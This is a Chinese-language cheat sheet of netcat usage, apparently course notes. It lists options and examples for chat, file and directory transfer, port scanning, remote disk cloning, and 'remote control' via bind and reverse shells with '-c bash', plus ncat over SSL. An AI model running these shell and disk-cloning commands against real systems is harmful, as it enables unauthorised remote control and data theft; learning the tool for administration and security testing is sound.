netcat-nc
小名号称是瑞士军刀
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
举例:
nc -nv IP PORT 连接其他服务器
base64命令的用法要在输入字符串后加CTRL+D后才能生成密文,这在加密传输中特别有用,如163的pop3服务器的连接尝试。
可以用nc做一个聊天器:
(1)nc -nvlp 5555
(2)nc -nv 127.0.0.1 5555
可用于远程电子取证:
(1)ls -l | nc -nv IP port
(2)nc -nvlp port
进一步,把远端传来的信息保存下来
在监听端:
nc -lp port > 文件名
远端:
ps aux | nc -nv IP PORT -q 1
NC——传输⽂件/目录
• 传输⽂件
• A: nc -lp 333 > 1.mp4
• B: nc -nv 1.1.1.1 333 < 1.mp4 –q 1
• 或
• A: nc -q 1 -lp 333 < a.mp4
• B: nc -nv 1.1.1.1 333 > 2.mp4
• 传输目录
• A: tar -cvf - music/ | nc -lp 333 –q 1
• B: nc -nv 1.1.1.1 333 | tar -xvf –
• 加密传⽂件
• A: nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
• B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
nc 端口扫描
• nc -nvz 1.1.1.1 1-65535
• nc –vnzu 1.1.1.1 1-1024
NC——远程克隆硬盘
• A: nc -lp 333 | dd of=/dev/sda
• B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
• 远程电⼦取证,可以将目标服务器硬盘远程复制,或者内存。
NC——远程控制
• 正向:
• A: nc -lp 333 -c bash
• B: nc 1.1.1.1 333
• 反向:
• A: nc -lp 333
• B: nc 1.1.1.1 333 -c bash
• 注: Windows⽤户把bash改成cmd;
NC——NCAT
• Nc缺乏加密和⾝份验证的能⼒
• Ncat包含于nmap⼯具包中
• A: ncat ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
• B: ncat -nv 1.1.1.1 333 --ssl